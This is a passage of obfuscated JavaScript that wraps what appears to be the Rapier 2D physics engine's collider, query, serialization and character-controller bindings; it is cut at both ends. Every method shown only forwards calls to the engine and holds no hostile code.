this['colliderSet']['raw']['coSetRestitutionCombineRule'](this['handle'], _0x17e98b); } ['setCollisionGroups'](_0x2c6a9a) { this['colliderSet']['raw']['coSetCollisionGroups'](this['handle'], _0x2c6a9a); } ['setSolverGroups'](_0x334246) { this['colliderSet']['raw']['coSetSolverGroups'](this['handle'], _0x334246); } ['activeHooks']() { return this['colliderSet']['raw']['coActiveHooks'](this['handle']); } ['setActiveHooks'](_0x33c1bd) { this['colliderSet']['raw']['coSetActiveHooks'](this['handle'], _0x33c1bd); } ['activeEvents']() { return this['colliderSet']['raw']['coActiveEvents'](this['handle']); } ['setActiveEvents'](_0x337c79) { this['colliderSet']['raw']['coSetActiveEvents'](this['handle'], _0x337c79); } ['activeCollisionTypes']() { return this['colliderSet']['raw']['coActiveCollisionTypes'](this['handle']); } ['setContactForceEventThreshold'](_0x36ce05) { return this['colliderSet']['raw']['coSetContactForceEventThreshold'](this['handle'], _0x36ce05); } ['contactForceEventThreshold']() { return this['colliderSet']['raw']['coContactForceEventThreshold'](this['handle']); } ['setActiveCollisionTypes'](_0x1e71cc) { this['colliderSet']['raw']['coSetActiveCollisionTypes'](this['handle'], _0x1e71cc); } ['setDensity'](_0x4ef20f) { this['colliderSet']['raw']['coSetDensity'](this['handle'], _0x4ef20f); } ['setMass'](_0x13c156) { this['colliderSet']['raw']['coSetMass'](this['handle'], _0x13c156); } ['setMassProperties'](_0x4873e5, _0x1baf20, _0x1b9dc1) { let _0x5b73ae = _0x3e685e['intoRaw'](_0x1baf20); this['colliderSet']['raw']['coSetMassProperties'](this['handle'], _0x4873e5, _0x5b73ae, _0x1b9dc1), _0x5b73ae['free'](); } ['setTranslation'](_0x4f86b0) { this['colliderSet']['raw']['coSetTranslation'](this['handle'], _0x4f86b0['x'], _0x4f86b0['y']); } ['setTranslationWrtParent'](_0x55470b) { this['colliderSet']['raw']['coSetTranslationWrtParent'](this['handle'], _0x55470b['x'], _0x55470b['y']); } ['setRotation'](_0x391ca3) { this['colliderSet']['raw']['coSetRotation'](this['handle'], _0x391ca3); } ['setRotationWrtParent'](_0x1052ae) { this['colliderSet']['raw']['coSetRotationWrtParent'](this['handle'], _0x1052ae); } ['shapeType']() { return this['colliderSet']['raw']['coShapeType'](this['handle']); } ['halfExtents']() { return _0x3e685e['fromRaw'](this['colliderSet']['raw']['coHalfExtents'](this['handle'])); } ['setHalfExtents'](_0x5c682c) { const _0x27a057 = _0x3e685e['intoRaw'](_0x5c682c); this['colliderSet']['raw']['coSetHalfExtents'](this['handle'], _0x27a057); } ['radius']() { return this['colliderSet']['raw']['coRadius'](this['handle']); } ['setRadius'](_0x40cc18) { this['colliderSet']['raw']['coSetRadius'](this['handle'], _0x40cc18); } ['roundRadius']() { return this['colliderSet']['raw']['coRoundRadius'](this['handle']); } ['setRoundRadius'](_0x415cd7) { this['colliderSet']['raw']['coSetRoundRadius'](this['handle'], _0x415cd7); } ['halfHeight']() { return this['colliderSet']['raw']['coHalfHeight'](this['handle']); } ['setHalfHeight'](_0x5c46c1) { this['colliderSet']['raw']['coSetHalfHeight'](this['handle'], _0x5c46c1); } ['vertices']() { return this['colliderSet']['raw']['coVertices'](this['handle']); } ['indices']() { return this['colliderSet']['raw']['coIndices'](this['handle']); } ['heightfieldHeights']() { return this['colliderSet']['raw']['coHeightfieldHeights'](this['handle']); } ['heightfieldScale']() { let _0x1b737e = this['colliderSet']['raw']['coHeightfieldScale'](this['handle']); return _0x3e685e['fromRaw'](_0x1b737e); } ['parent']() { return this['_parent']; } ['friction']() { return this['colliderSet']['raw']['coFriction'](this['handle']); } ['restitution']() { return this['colliderSet']['raw']['coRestitution'](this['handle']); } ['density']() { return this['colliderSet']['raw']['coDensity'](this['handle']); } ['mass']() { return this['colliderSet']['raw']['coMass'](this['handle']); } ['volume']() { return this['colliderSet']['raw']['coVolume'](this['handle']); } ['collisionGroups']() { return this['colliderSet']['raw']['coCollisionGroups'](this['handle']); } ['solverGroups']() { return this['colliderSet']['raw']['coSolverGroups'](this['handle']); } ['containsPoint'](_0x21558c) { let _0x473fd9 = _0x3e685e['intoRaw'](_0x21558c), _0x48b4af = this['colliderSet']['raw']['coContainsPoint'](this['handle'], _0x473fd9); return _0x473fd9['free'](), _0x48b4af; } ['projectPoint'](_0x1aeecf, _0x454e32) { let _0x40c85f = _0x3e685e['intoRaw'](_0x1aeecf), _0x552215 = _0x4ada65['fromRaw'](this['colliderSet']['raw']['coProjectPoint'](this['handle'], _0x40c85f, _0x454e32)); return _0x40c85f['free'](), _0x552215; } ['intersectsRay'](_0x9d4674, _0xce5aae) { let _0x486e25 = _0x3e685e['intoRaw'](_0x9d4674['origin']), _0x403539 = _0x3e685e['intoRaw'](_0x9d4674['dir']), _0x272334 = this['colliderSet']['raw']['coIntersectsRay'](this['handle'], _0x486e25, _0x403539, _0xce5aae); return _0x486e25['free'](), _0x403539['free'](), _0x272334; } ['castShape'](_0x3aa1f2, _0x26e3d3, _0x962a92, _0x2ae33b, _0x55bca0, _0x3c17cb, _0xf391d2) { let _0x640c1 = _0x3e685e['intoRaw'](_0x3aa1f2), _0x369864 = _0x3e685e['intoRaw'](_0x962a92), _0x2361d1 = _0x36d6e2['intoRaw'](_0x2ae33b), _0x3aaf69 = _0x3e685e['intoRaw'](_0x55bca0), _0x13e30c = _0x26e3d3['intoRaw'](), _0xc7352 = _0x30e484['fromRaw'](this['colliderSet'], this['colliderSet']['raw']['coCastShape'](this['handle'], _0x640c1, _0x13e30c, _0x369864, _0x2361d1, _0x3aaf69, _0x3c17cb, _0xf391d2)); return _0x640c1['free'](), _0x369864['free'](), _0x2361d1['free'](), _0x3aaf69['free'](), _0x13e30c['free'](), _0xc7352; } ['castCollider'](_0x12a8ba, _0x482efe, _0x33825b, _0x1b2cfb, _0x4230c8) { let _0x4c0df3 = _0x3e685e['intoRaw'](_0x12a8ba), _0x3d5baa = _0x3e685e['intoRaw'](_0x33825b), _0x252d20 = _0x4929cd['fromRaw'](this['colliderSet'], this['colliderSet']['raw']['coCastCollider'](this['handle'], _0x4c0df3, _0x482efe['handle'], _0x3d5baa, _0x1b2cfb, _0x4230c8)); return _0x4c0df3['free'](), _0x3d5baa['free'](), _0x252d20; } ['intersectsShape'](_0xf8f612, _0x2553ac, _0x23f7f5) { let _0x31be9f = _0x3e685e['intoRaw'](_0x2553ac), _0x681a02 = _0x36d6e2['intoRaw'](_0x23f7f5), _0x248cb9 = _0xf8f612['intoRaw'](), _0x133296 = this['colliderSet']['raw']['coIntersectsShape'](this['handle'], _0x248cb9, _0x31be9f, _0x681a02); return _0x31be9f['free'](), _0x681a02['free'](), _0x248cb9['free'](), _0x133296; } ['contactShape'](_0x1786c1, _0x1ae4cf, _0x34ce20, _0x20bbe0) { let _0x4ed2ff = _0x3e685e['intoRaw'](_0x1ae4cf), _0x2e0a5b = _0x36d6e2['intoRaw'](_0x34ce20), _0x274562 = _0x1786c1['intoRaw'](), _0x5a5b4c = _0x221492['fromRaw'](this['colliderSet']['raw']['coContactShape'](this['handle'], _0x274562, _0x4ed2ff, _0x2e0a5b, _0x20bbe0)); return _0x4ed2ff['free'](), _0x2e0a5b['free'](), _0x274562['free'](), _0x5a5b4c; } ['contactCollider'](_0x46677a, _0x5afd95) { return _0x221492['fromRaw'](this['colliderSet']['raw']['coContactCollider'](this['handle'], _0x46677a['handle'], _0x5afd95)); } ['castRay'](_0x1f68ff, _0x4d0d6c, _0xc78486) { let _0x378843 = _0x3e685e['intoRaw'](_0x1f68ff['origin']), _0x386e28 = _0x3e685e['intoRaw'](_0x1f68ff['dir']), _0x5d5a1d = this['colliderSet']['raw']['coCastRay'](this['handle'], _0x378843, _0x386e28, _0x4d0d6c, _0xc78486); return _0x378843['free'](), _0x386e28['free'](), _0x5d5a1d; } ['castRayAndGetNormal'](_0x29d134, _0x7d5d7a, _0xf37f81) { let _0x43a487 = _0x3e685e['intoRaw'](_0x29d134['origin']), _0x297f36 = _0x3e685e['intoRaw'](_0x29d134['dir']), _0x263fda = _0x2e41b3['fromRaw'](this['colliderSet']['raw']['coCastRayAndGetNormal'](this['handle'], _0x43a487, _0x297f36, _0x7d5d7a, _0xf37f81)); return _0x43a487['free'](), _0x297f36['free'](), _0x263fda; } } !function (_0x626669) { _0x626669[_0x626669['Density'] = 0x0] = 'Density', _0x626669[_0x626669['Mass'] = 0x1] = 'Mass', _0x626669[_0x626669['MassProps'] = 0x2] = 'MassProps'; }(_0x1370fa || (_0x1370fa = {})); class _0x9be8ee { constructor(_0x179814) { this['enabled'] = !0x0, this['shape'] = _0x179814, this['massPropsMode'] = _0x1370fa['Density'], this['density'] = 0x1, this['friction'] = 0.5, this['restitution'] = 0x0, this['rotation'] = _0x36d6e2['identity'](), this['translation'] = _0x3e685e['zeros'](), this['isSensor'] = !0x1, this['collisionGroups'] = 0xffffffff, this['solverGroups'] = 0xffffffff, this['frictionCombineRule'] = _0x1de744['Average'], this['restitutionCombineRule'] = _0x1de744['Average'], this['activeCollisionTypes'] = _0x4ba6f5['DEFAULT'], this['activeEvents'] = 0x0, this['activeHooks'] = 0x0, this['mass'] = 0x0, this['centerOfMass'] = _0x3e685e['zeros'](), this['contactForceEventThreshold'] = 0x0, this['principalAngularInertia'] = 0x0, this['rotationsEnabled'] = !0x0; } static ['ball'](_0x241964) { const _0x30b744 = new _0x391e77(_0x241964); return new _0x9be8ee(_0x30b744); } static ['capsule'](_0x29cc19, _0x334eac) { const _0x2f32f3 = new _0x3701b1(_0x29cc19, _0x334eac); return new _0x9be8ee(_0x2f32f3); } static ['segment'](_0x55b1c9, _0x3fef2a) { const _0x2e51a1 = new _0x59b7f0(_0x55b1c9, _0x3fef2a); return new _0x9be8ee(_0x2e51a1); } static ['triangle'](_0x367b58, _0x31b3a4, _0x32d3cc) { const _0x574950 = new _0x18340d(_0x367b58, _0x31b3a4, _0x32d3cc); return new _0x9be8ee(_0x574950); } static ['roundTriangle'](_0x169a94, _0x39096b, _0x159a53, _0x5c590e) { const _0x2bf027 = new _0x51504a(_0x169a94, _0x39096b, _0x159a53, _0x5c590e); return new _0x9be8ee(_0x2bf027); } static ['polyline'](_0x4593d2, _0x14c0af) { const _0x406d90 = new _0x2938f9(_0x4593d2, _0x14c0af); return new _0x9be8ee(_0x406d90); } static ['trimesh'](_0x35266b, _0x1633bc) { const _0x337398 = new _0x16b4c2(_0x35266b, _0x1633bc); return new _0x9be8ee(_0x337398); } static ['cuboid'](_0x12540a, _0x25a4a0) { const _0x3b3b3d = new _0x295669(_0x12540a, _0x25a4a0); return new _0x9be8ee(_0x3b3b3d); } static ['roundCuboid'](_0xfbf9c0, _0x3dec55, _0x1b3ab6) { const _0x461d76 = new _0x3f9345(_0xfbf9c0, _0x3dec55, _0x1b3ab6); return new _0x9be8ee(_0x461d76); } static ['halfspace'](_0x5084dc) { const _0x13954d = new _0x3a6d6c(_0x5084dc); return new _0x9be8ee(_0x13954d); } static ['heightfield'](_0x2e0828, _0x3c08f2) { const _0x1a81b3 = new _0x4a437c(_0x2e0828, _0x3c08f2); return new _0x9be8ee(_0x1a81b3); } static ['convexHull'](_0x4edd84) { const _0x199e2c = new _0x58a1ae(_0x4edd84, !0x1); return new _0x9be8ee(_0x199e2c); } static ['convexPolyline'](_0x3b1a3e) { const _0x46f71d = new _0x58a1ae(_0x3b1a3e, !0x0); return new _0x9be8ee(_0x46f71d); } static ['roundConvexHull'](_0x28d2e1, _0x41c436) { const _0x1aeab7 = new _0x536869(_0x28d2e1, _0x41c436, !0x1); return new _0x9be8ee(_0x1aeab7); } static ['roundConvexPolyline'](_0x5f0331, _0x31223b) { const _0x603e3c = new _0x536869(_0x5f0331, _0x31223b, !0x0); return new _0x9be8ee(_0x603e3c); } ['setTranslation'](_0x1d513b, _0x4db26a) { if ('number' != typeof _0x1d513b || 'number' != typeof _0x4db26a) throw TypeError('The\x20translation\x20components\x20must\x20be\x20numbers.'); return this['translation'] = { 'x': _0x1d513b, 'y': _0x4db26a }, this; } ['setRotation'](_0xe9bdf2) { return this['rotation'] = _0xe9bdf2, this; } ['setSensor'](_0x117c48) { return this['isSensor'] = _0x117c48, this; } ['setEnabled'](_0x5cbc94) { return this['enabled'] = _0x5cbc94, this; } ['setDensity'](_0x916d44) { return this['massPropsMode'] = _0x1370fa['Density'], this['density'] = _0x916d44, this; } ['setMass'](_0x5dde33) { return this['massPropsMode'] = _0x1370fa['Mass'], this['mass'] = _0x5dde33, this; } ['setMassProperties'](_0x22c958, _0x308d64, _0x54b362) { return this['massPropsMode'] = _0x1370fa['MassProps'], this['mass'] = _0x22c958, _0x3e685e['copy'](this['centerOfMass'], _0x308d64), this['principalAngularInertia'] = _0x54b362, this; } ['setRestitution'](_0xaf10e7) { return this['restitution'] = _0xaf10e7, this; } ['setFriction'](_0x3143b0) { return this['friction'] = _0x3143b0, this; } ['setFrictionCombineRule'](_0x2abc74) { return this['frictionCombineRule'] = _0x2abc74, this; } ['setRestitutionCombineRule'](_0x3c8aab) { return this['restitutionCombineRule'] = _0x3c8aab, this; } ['setCollisionGroups'](_0x4fad40) { return this['collisionGroups'] = _0x4fad40, this; } ['setSolverGroups'](_0x2e6e8c) { return this['solverGroups'] = _0x2e6e8c, this; } ['setActiveHooks'](_0x1b343a) { return this['activeHooks'] = _0x1b343a, this; } ['setActiveEvents'](_0xb49533) { return this['activeEvents'] = _0xb49533, this; } ['setActiveCollisionTypes'](_0x4b919a) { return this['activeCollisionTypes'] = _0x4b919a, this; } ['setContactForceEventThreshold'](_0x4eb878) { return this['contactForceEventThreshold'] = _0x4eb878, this; } } class _0x40e80f { constructor(_0x2fbd4b) { this['raw'] = _0x2fbd4b || new _0x11a0e3(), this['map'] = new _0x112f9f(), _0x2fbd4b && _0x2fbd4b['forEachColliderHandle'](_0x425b4f => { this['map']['set'](_0x425b4f, new _0x2f9ba3(this, _0x425b4f, null)); }); } ['free']() { this['raw'] && this['raw']['free'](), this['raw'] = void 0x0, this['map'] && this['map']['clear'](), this['map'] = void 0x0; } ['castClosure'](_0x55ea35) { return _0x22e1c5 => _0x55ea35 ? _0x55ea35(this['get'](_0x22e1c5)) : void 0x0; } ['finalizeDeserialization'](_0x425729) { this['map']['forEach'](_0x1dee94 => _0x1dee94['finalizeDeserialization'](_0x425729)); } ['createCollider'](_0x21d0c5, _0x55f224, _0x12f354) { let _0x4d494f = null != _0x12f354 && null != _0x12f354; if (_0x4d494f && isNaN(_0x12f354)) throw Error('Cannot\x20create\x20a\x20collider\x20with\x20a\x20parent\x20rigid-body\x20handle\x20that\x20is\x20not\x20a\x20number.'); let _0x447f22 = _0x55f224['shape']['intoRaw'](), _0x3835a8 = _0x3e685e['intoRaw'](_0x55f224['translation']), _0x523280 = _0x36d6e2['intoRaw'](_0x55f224['rotation']), _0x293465 = _0x3e685e['intoRaw'](_0x55f224['centerOfMass']), _0x4d4e1f = this['raw']['createCollider'](_0x55f224['enabled'], _0x447f22, _0x3835a8, _0x523280, _0x55f224['massPropsMode'], _0x55f224['mass'], _0x293465, _0x55f224['principalAngularInertia'], _0x55f224['density'], _0x55f224['friction'], _0x55f224['restitution'], _0x55f224['frictionCombineRule'], _0x55f224['restitutionCombineRule'], _0x55f224['isSensor'], _0x55f224['collisionGroups'], _0x55f224['solverGroups'], _0x55f224['activeCollisionTypes'], _0x55f224['activeHooks'], _0x55f224['activeEvents'], _0x55f224['contactForceEventThreshold'], _0x4d494f, _0x4d494f ? _0x12f354 : 0x0, _0x21d0c5['raw']); _0x447f22['free'](), _0x3835a8['free'](), _0x523280['free'](), _0x293465['free'](); let _0x4f7ede = _0x4d494f ? _0x21d0c5['get'](_0x12f354) : null, _0x4f4b67 = new _0x2f9ba3(this, _0x4d4e1f, _0x4f7ede, _0x55f224['shape']); return this['map']['set'](_0x4d4e1f, _0x4f4b67), _0x4f4b67; } ['remove'](_0x4f0444, _0x154acb, _0x35ca51, _0xa5851d) { this['raw']['remove'](_0x4f0444, _0x154acb['raw'], _0x35ca51['raw'], _0xa5851d), this['unmap'](_0x4f0444); } ['unmap'](_0x5980db) { this['map']['delete'](_0x5980db); } ['get'](_0x92de8d) { return this['map']['get'](_0x92de8d); } ['len']() { return this['map']['len'](); } ['contains'](_0x5773f5) { return null != this['get'](_0x5773f5); } ['forEach'](_0x19f48c) { this['map']['forEach'](_0x19f48c); } ['getAll']() { return this['map']['getAll'](); } } class _0x1f5062 { constructor(_0x5700ef) { this['raw'] = _0x5700ef || new _0xc494ff(); } ['free']() { this['raw'] && this['raw']['free'](), this['raw'] = void 0x0; } ['step'](_0x22ad38, _0x18a5b0, _0x128dfb, _0x421dec, _0x481a01, _0x192190, _0x2fee06, _0x2f760e, _0x3f9ea7, _0x58b909, _0x20a4ba, _0x284f19) { let _0x2aea76 = _0x3e685e['intoRaw'](_0x22ad38); _0x20a4ba ? this['raw']['stepWithEvents'](_0x2aea76, _0x18a5b0['raw'], _0x128dfb['raw'], _0x421dec['raw'], _0x481a01['raw'], _0x192190['raw'], _0x2fee06['raw'], _0x2f760e['raw'], _0x3f9ea7['raw'], _0x58b909['raw'], _0x20a4ba['raw'], _0x284f19, _0x284f19 ? _0x284f19['filterContactPair'] : null, _0x284f19 ? _0x284f19['filterIntersectionPair'] : null) : this['raw']['step'](_0x2aea76, _0x18a5b0['raw'], _0x128dfb['raw'], _0x421dec['raw'], _0x481a01['raw'], _0x192190['raw'], _0x2fee06['raw'], _0x2f760e['raw'], _0x3f9ea7['raw'], _0x58b909['raw']), _0x2aea76['free'](); } } !function (_0x48f5a5) { _0x48f5a5[_0x48f5a5['EXCLUDE_FIXED'] = 0x1] = 'EXCLUDE_FIXED', _0x48f5a5[_0x48f5a5['EXCLUDE_KINEMATIC'] = 0x2] = 'EXCLUDE_KINEMATIC', _0x48f5a5[_0x48f5a5['EXCLUDE_DYNAMIC'] = 0x4] = 'EXCLUDE_DYNAMIC', _0x48f5a5[_0x48f5a5['EXCLUDE_SENSORS'] = 0x8] = 'EXCLUDE_SENSORS', _0x48f5a5[_0x48f5a5['EXCLUDE_SOLIDS'] = 0x10] = 'EXCLUDE_SOLIDS', _0x48f5a5[_0x48f5a5['ONLY_DYNAMIC'] = 0x3] = 'ONLY_DYNAMIC', _0x48f5a5[_0x48f5a5['ONLY_KINEMATIC'] = 0x5] = 'ONLY_KINEMATIC', _0x48f5a5[_0x48f5a5['ONLY_FIXED'] = 0x6] = 'ONLY_FIXED'; }(_0x19c439 || (_0x19c439 = {})); class _0x5ca1c2 { constructor(_0x13b7b9) { this['raw'] = _0x13b7b9 || new _0x42e342(); } ['free']() { this['raw'] && this['raw']['free'](), this['raw'] = void 0x0; } ['update'](_0x15f1f4, _0x5935d5) { this['raw']['update'](_0x15f1f4['raw'], _0x5935d5['raw']); } ['castRay'](_0xa082b1, _0x530624, _0x2dc21b, _0x480d46, _0x171efb, _0x78db49, _0x24fbae, _0x59b8e7, _0x404561, _0x32ce34) { let _0x547f2c = _0x3e685e['intoRaw'](_0x2dc21b['origin']), _0x506775 = _0x3e685e['intoRaw'](_0x2dc21b['dir']), _0x4949cf = _0x3b0073['fromRaw'](_0x530624, this['raw']['castRay'](_0xa082b1['raw'], _0x530624['raw'], _0x547f2c, _0x506775, _0x480d46, _0x171efb, _0x78db49, _0x24fbae, _0x59b8e7, _0x404561, _0x32ce34)); return _0x547f2c['free'](), _0x506775['free'](), _0x4949cf; } ['castRayAndGetNormal'](_0x29831d, _0x293ee1, _0x2e1100, _0x5cc783, _0x35499b, _0x57f407, _0xf42132, _0x3c0bb6, _0x3d33ba, _0x1abd1d) { let _0x2edc9c = _0x3e685e['intoRaw'](_0x2e1100['origin']), _0x21e641 = _0x3e685e['intoRaw'](_0x2e1100['dir']), _0x48d34b = _0x4cbd10['fromRaw'](_0x293ee1, this['raw']['castRayAndGetNormal'](_0x29831d['raw'], _0x293ee1['raw'], _0x2edc9c, _0x21e641, _0x5cc783, _0x35499b, _0x57f407, _0xf42132, _0x3c0bb6, _0x3d33ba, _0x1abd1d)); return _0x2edc9c['free'](), _0x21e641['free'](), _0x48d34b; } ['intersectionsWithRay'](_0x162676, _0x924d64, _0x1b6b8c, _0x4cc366, _0x15df67, _0x51f970, _0x5864bf, _0x1e842f, _0x28e478, _0x4011ec, _0xa8e5f5) { let _0x28ec1a = _0x3e685e['intoRaw'](_0x1b6b8c['origin']), _0x37e2d2 = _0x3e685e['intoRaw'](_0x1b6b8c['dir']); this['raw']['intersectionsWithRay'](_0x162676['raw'], _0x924d64['raw'], _0x28ec1a, _0x37e2d2, _0x4cc366, _0x15df67, _0x574734 => _0x51f970(_0x4cbd10['fromRaw'](_0x924d64, _0x574734)), _0x5864bf, _0x1e842f, _0x28e478, _0x4011ec, _0xa8e5f5), _0x28ec1a['free'](), _0x37e2d2['free'](); } ['intersectionWithShape'](_0x5ee85f, _0x413c6a, _0xb133f0, _0x226f34, _0x45e8d4, _0x3e85e3, _0x5b6d5f, _0x1e611d, _0x1137f8, _0x4707b9) { let _0x18fcee = _0x3e685e['intoRaw'](_0xb133f0), _0x1419c8 = _0x36d6e2['intoRaw'](_0x226f34), _0x2569ab = _0x45e8d4['intoRaw'](), _0x386a7c = this['raw']['intersectionWithShape'](_0x5ee85f['raw'], _0x413c6a['raw'], _0x18fcee, _0x1419c8, _0x2569ab, _0x3e85e3, _0x5b6d5f, _0x1e611d, _0x1137f8, _0x4707b9); return _0x18fcee['free'](), _0x1419c8['free'](), _0x2569ab['free'](), _0x386a7c; } ['projectPoint'](_0x4c5f48, _0x5275ad, _0x438976, _0x54bbda, _0x33b539, _0x1aefcb, _0x3fa718, _0x12e6b0, _0x305679) { let _0x2c078a = _0x3e685e['intoRaw'](_0x438976), _0x19dee1 = _0x56e8af['fromRaw'](_0x5275ad, this['raw']['projectPoint'](_0x4c5f48['raw'], _0x5275ad['raw'], _0x2c078a, _0x54bbda, _0x33b539, _0x1aefcb, _0x3fa718, _0x12e6b0, _0x305679)); return _0x2c078a['free'](), _0x19dee1; } ['projectPointAndGetFeature'](_0x3459d0, _0x46504d, _0x26cadd, _0x31944c, _0x3c72a5, _0x3ca64a, _0x2687c6, _0x506345) { let _0x31fd34 = _0x3e685e['intoRaw'](_0x26cadd), _0x644afd = _0x56e8af['fromRaw'](_0x46504d, this['raw']['projectPointAndGetFeature'](_0x3459d0['raw'], _0x46504d['raw'], _0x31fd34, _0x31944c, _0x3c72a5, _0x3ca64a, _0x2687c6, _0x506345)); return _0x31fd34['free'](), _0x644afd; } ['intersectionsWithPoint'](_0x149179, _0x17ba78, _0x2177c0, _0x1998a8, _0x59e96e, _0x1c259c, _0x5f4a90, _0x358bc7, _0x3b7348) { let _0x35f1c9 = _0x3e685e['intoRaw'](_0x2177c0); this['raw']['intersectionsWithPoint'](_0x149179['raw'], _0x17ba78['raw'], _0x35f1c9, _0x1998a8, _0x59e96e, _0x1c259c, _0x5f4a90, _0x358bc7, _0x3b7348), _0x35f1c9['free'](); } ['castShape'](_0x209c24, _0x184a67, _0x2b1630, _0x1fefcf, _0x193b39, _0x46d7b7, _0x5e0717, _0x135655, _0x1329bc, _0x56022d, _0x230c14, _0x916880, _0x2c499e) { let _0x56149c = _0x3e685e['intoRaw'](_0x2b1630), _0x395cfb = _0x36d6e2['intoRaw'](_0x1fefcf), _0xba9733 = _0x3e685e['intoRaw'](_0x193b39), _0x53f6e9 = _0x46d7b7['intoRaw'](), _0x5d2ca4 = _0x4929cd['fromRaw'](_0x184a67, this['raw']['castShape'](_0x209c24['raw'], _0x184a67['raw'], _0x56149c, _0x395cfb, _0xba9733, _0x53f6e9, _0x5e0717, _0x135655, _0x1329bc, _0x56022d, _0x230c14, _0x916880, _0x2c499e)); return _0x56149c['free'](), _0x395cfb['free'](), _0xba9733['free'](), _0x53f6e9['free'](), _0x5d2ca4; } ['intersectionsWithShape'](_0x5ce37b, _0x254824, _0x3de925, _0x513fd7, _0x245e54, _0x252349, _0x291538, _0x3095c5, _0x1c1d7d, _0x26e25e, _0x4f247d) { let _0x3ddcd8 = _0x3e685e['intoRaw'](_0x3de925), _0x40315d = _0x36d6e2['intoRaw'](_0x513fd7), _0x2af1e8 = _0x245e54['intoRaw'](); this['raw']['intersectionsWithShape'](_0x5ce37b['raw'], _0x254824['raw'], _0x3ddcd8, _0x40315d, _0x2af1e8, _0x252349, _0x291538, _0x3095c5, _0x1c1d7d, _0x26e25e, _0x4f247d), _0x3ddcd8['free'](), _0x40315d['free'](), _0x2af1e8['free'](); } ['collidersWithAabbIntersectingAabb'](_0x55eade, _0x5e7843, _0x1da616) { let _0x295e16 = _0x3e685e['intoRaw'](_0x55eade), _0x40fece = _0x3e685e['intoRaw'](_0x5e7843); this['raw']['collidersWithAabbIntersectingAabb'](_0x295e16, _0x40fece, _0x1da616), _0x295e16['free'](), _0x40fece['free'](); } } class _0x18322e { constructor(_0x5b5371) { this['raw'] = _0x5b5371 || new _0x233d66(); } ['free']() { this['raw'] && this['raw']['free'](), this['raw'] = void 0x0; } ['serializeAll'](_0xb4f0a0, _0xcd089f, _0x253fc2, _0xdd4d2c, _0x233bda, _0x4d557a, _0x583485, _0x150b4b, _0x50d416) { let _0x1239a0 = _0x3e685e['intoRaw'](_0xb4f0a0); const _0x13248b = this['raw']['serializeAll'](_0x1239a0, _0xcd089f['raw'], _0x253fc2['raw'], _0xdd4d2c['raw'], _0x233bda['raw'], _0x4d557a['raw'], _0x583485['raw'], _0x150b4b['raw'], _0x50d416['raw']); return _0x1239a0['free'](), _0x13248b; } ['deserializeAll'](_0x4ef698) { return _0x3d3669['fromRaw'](this['raw']['deserializeAll'](_0x4ef698)); } } class _0x794771 { constructor(_0x540fd6, _0x543018) { this['vertices'] = _0x540fd6, this['colors'] = _0x543018; } } class _0x3a68dd { constructor(_0x572620) { this['raw'] = _0x572620 || new _0x2bf648(); } ['free']() { this['raw'] && this['raw']['free'](), this['raw'] = void 0x0, this['vertices'] = void 0x0, this['colors'] = void 0x0; } ['render'](_0x58ba19, _0x3cb020, _0x5ce04a, _0x351693, _0x115011) { this['raw']['render'](_0x58ba19['raw'], _0x3cb020['raw'], _0x5ce04a['raw'], _0x351693['raw'], _0x115011['raw']), this['vertices'] = this['raw']['vertices'](), this['colors'] = this['raw']['colors'](); } } class _0x141c82 { } class _0x42492f { constructor(_0xf09883, _0x35cdec, _0x1b103f, _0xb13780, _0x50d842) { this['params'] = _0x35cdec, this['bodies'] = _0x1b103f, this['colliders'] = _0xb13780, this['queries'] = _0x50d842, this['raw'] = new _0x2b32fb(_0xf09883), this['rawCharacterCollision'] = new _0x4941fc(), this['_applyImpulsesToDynamicBodies'] = !0x1, this['_characterMass'] = null; } ['free']() { this['raw'] && (this['raw']['free'](), this['rawCharacterCollision']['free']()), this['raw'] = void 0x0, this['rawCharacterCollision'] = void 0x0; } ['up']() { return this['raw']['up'](); } ['setUp'](_0x1a019f) { let _0x5244ba = _0x3e685e['intoRaw'](_0x1a019f); return this['raw']['setUp'](_0x5244ba); } ['applyImpulsesToDynamicBodies']() { return this['_applyImpulsesToDynamicBodies']; } ['setApplyImpulsesToDynamicBodies'](_0x41a301) { this['_applyImpulsesToDynamicBodies'] = _0x41a301; } ['characterMass']() { return this['_characterMass']; } ['setCharacterMass'](_0x2f9053) { this['_characterMass'] = _0x2f9053; } ['offset']() { return this['raw']['offset'](); } ['setOffset'](_0x1d7d10) { this['raw']['setOffset'](_0x1d7d10); } ['slideEnabled']() { return this['raw']['slideEnabled'](); } ['setSlideEnabled'](_0x3b97be) { this['raw']['setSlideEnabled'](_0x3b97be); } ['autostepMaxHeight']() { return this['raw']['autostepMaxHeight'](); } ['autostepMinWidth']() { return this['raw']['autostepMinWidth'](); } ['autostepIncludesDynamicBodies']() { return this['raw']['autostepIncludesDynamicBodies'](); } ['autostepEnabled']() { return this['raw']['autostepEnabled'](); } ['enableAutostep'](_0x18e8b7, _0x57750f, _0x39e063) { this['raw']['enableAutostep'](_0x18e8b7, _0x57750f, _0x39e063); } ['disableAutostep']() { return this['raw']['disableAutostep'](); } ['maxSlopeClimbAngle']() { return this['raw']['maxSlopeClimbAngle'](); } ['setMaxSlopeClimbAngle'](_0x25fc8c) { this['raw']['setMaxSlopeClimbAngle'](_0x25fc8c); } ['minSlopeSlideAngle']() { return this['raw']['minSlopeSlideAngle'](); } ['setMinSlopeSlideAngle'](_0x3a3224) { this['raw']['setMinSlopeSlideAngle'](_0x3a3224); } ['snapToGroundDistance']() { return this['raw']['snapToGroundDistance'](); } ['enableSnapToGround'](_0xdc6db1) { this['raw']['enableSnapToGround'](_0xdc6db1); } ['disableSnapToGround']() { this['raw']['disableSnapToGround'](); } ['snapToGroundEnabled']() { return this['raw']['snapToGroundEnabled'](); } ['computeColliderMovement'](_0x205f30, _0x4c51a2, _0x1b196f, _0x67db5e, _0x1b17ed) { let _0x2fef86 = _0x3e685e['intoRaw'](_0x4c51a2); this['raw']['computeColliderMovement'](this['params']['dt'], this['bodies']['raw'], this['colliders']['raw'], this['queries']['raw'], _0x205f30['handle'], _0x2fef86, this['_applyImpulsesToDynamicBodies'], this['_characterMass'], _0x1b196f, _0x67db5e, this['colliders']['castClosure'](_0x1b17ed)), _0x2fef86['free'](); } ['computedMovement']() { return _0x3e685e['fromRaw'](this['raw']['computedMovement']()); } ['computedGrounded']() { return this['raw']['computedGrounded'](); } ['numComputedCollisions']() { return this['raw']['numComputedCollisions'](); } ['computedCollision'](_0x31a23c, _0x217489) { if (this['raw']['computedCollision'](_0x31a23c, this['rawCharacterCollision'])) { let _0x144568 = this['rawCharacterCollision']; return (_0x217489 = null != _0x217489 ? _0x217489 : new _0x141c82())['translationApplied'] = _0x3e685e['fromRaw'](_0x144568['translationApplied']()), 